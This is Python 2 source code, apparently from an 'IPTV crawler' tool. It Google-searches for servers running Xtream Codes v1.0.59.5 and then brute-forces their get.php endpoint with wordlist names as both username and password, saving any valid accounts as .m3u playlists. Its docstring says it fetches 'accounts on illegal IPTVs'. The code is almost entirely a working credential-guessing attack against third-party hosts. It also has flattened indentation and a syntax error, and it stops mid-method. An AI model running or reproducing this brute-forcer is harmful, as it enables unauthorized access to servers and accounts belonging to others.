print colored.yellow("################")
print colored.yellow("##### IPTV #####")
print colored.yellow("##### v" + cr.version + " ###")
print colored.yellow("################")
print ""
print colored.blue("Menu")
print "0 - Exit"
print "1 - Search for some Servers"
print "2 - Look at the servers list"
print "3 - Select language, default is Italian"
print "4 - Brute force all server from the list"
print "5 - Brute force random server from the list"
print "6 - Brute force specific server from the list"
print "7 - Provide a random server to attack"
print ""

while True:
menu()
choosenMenu = int(raw_input("Please select an option: "))
if choosenMenu == 0:
print colored.red("Bye bye")
break;
elif choosenMenu == 1:
print colored.green("Fetching URLs plase wait...")
cr.search_links()
print colored.green("Done, 30 URLs founded")
elif choosenMenu == 2:
print colored.green("Printing server list")
for index, server in enumerate(cr.parsedUrls):
print "[" + str(index) + "] - " + server
elif choosenMenu == 3:
language = str(raw_input("What language do you need? (it, en, es): "))
if cr.change_language(language):
print colored.green("Language changed, the system now will attack the servers with " + language + "txt.")
else:
print colored.red("Language not changes, the file language for " + language + " does not exists")
elif choosenMenu == 4:
for i in range(0,30):
url = cr.parsedUrls[i]
result = cr.search_accounts(url)
print colored.green(result)
elif choosenMenu == 5:
result = cr.search_accounts()
print colored.green(result)
elif choosenMenu == 6:
try:
index = int(raw_input("Please provide the number near the URLs founded: "))
url = cr.parsedUrls[index]
result = cr.search_accounts(url)
print colored.green(result)
except IndexError as e:
print colored.red("No URL founded at index: " + str(index))
except ValueError as e:
print colored.red("You have entered a wrong value, please provide a NUMBER. Use option 2 first")
elif choosenMenu == 7:
print colored.blue("coming soon...")
else:
print colored.red("Option not recognized")

import urllib2
import google
import time
import pyprind
import os
import random
from urlparse import urlparse

"""Crawler
Class that handles the crawling process that fetch accounts on illegal IPTVs

Authors:
Claudio Ludovico (@Ludo237)
Pinperepette (@Pinperepette)
Arm4x (@Arm4x)
"""
class Crawler(object):
# version
version = "1.2.3"
# output default directory
outputDir = "output"
# language default directory
languageDir = "languages"
# string used to exploit the CMS
basicString = "/get.php?username=%s&password=%s&type=m3u&output=mpegts"
# string used to search the CMS
searchString = "Xtream Codes v1.0.59.5"

def __init__(self, language = "it"):
"""Default constructor

Keyword arguments:
language -- Language parameter allows us to understand what kind of
names file we need to use. (default it)
"""
self.language = language.lower()
self.parsedUrls = []
self.foundedAccounts = 0

def change_language(self, language = "it"):
"""Set the language you want to use to brute force names

Keyword arguments:
language -- Language parameter allows us to understand what kind of
names file we need to use. (default it)

Return:
boolean -- true if the language file exists, otherwise false
"""
if os.path.isfile(self.languageDir + "/" + language + ".txt"):
self.language = language
return True
else:
return False

def search_links(self):
"""Print the first 30 links from a Web search

We set the limit of 30 links because this script serve as demonstration and it's
not intended to be use for personal purpose.
"""
for url in google.search(self.searchString, num=30, stop=1):
parsed = urlparse(url)
self.parsedUrls.append(parsed.scheme + "://" + parsed.netloc)

def search_accounts(self, url = None):
"""Search Accounts
This is the core method. It will crawl the give url for any possible accounts
If we found any we will create a new directory under /output with the name
of the site plus every account as five .m3u. Please use VLC for opening that
kind of files

Keyword arguments:
url -- an url from the fetched list. (default None)

Return:
string -- the status of the crawling session
"""
if not self.parsedUrls:
return "You must fetch some URLs first"
try:
if not url:
url = random.choice(self.parsedUrls)
fileName = self.languageDir + "/" + self.language + ".txt"
fileLength = self.file_length(fileName)
progressBar = pyprind.ProgBar(fileLength, title = "Fetching account from " + url + " this might take a while.", stream = 1, monitor = True)
foundedAccounts = 0
with open(fileName) as f:
rows = f.readlines()
for row in rows:
# Do the injection to the current url using the exploit that we know
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', 'Mozilla/5.0' ]
response = opener.open(url + self.basicString % (row.rstrip().lstrip(), row.rstrip().lstrip()))
fetched = response.read()
# Update the progress bar in order to give to the user a nice
# way to indicate the time left
fileLength = fileLength - 1
progressBar.update()
# IF the fetched content is not empty
# we build the dedicated .m3u file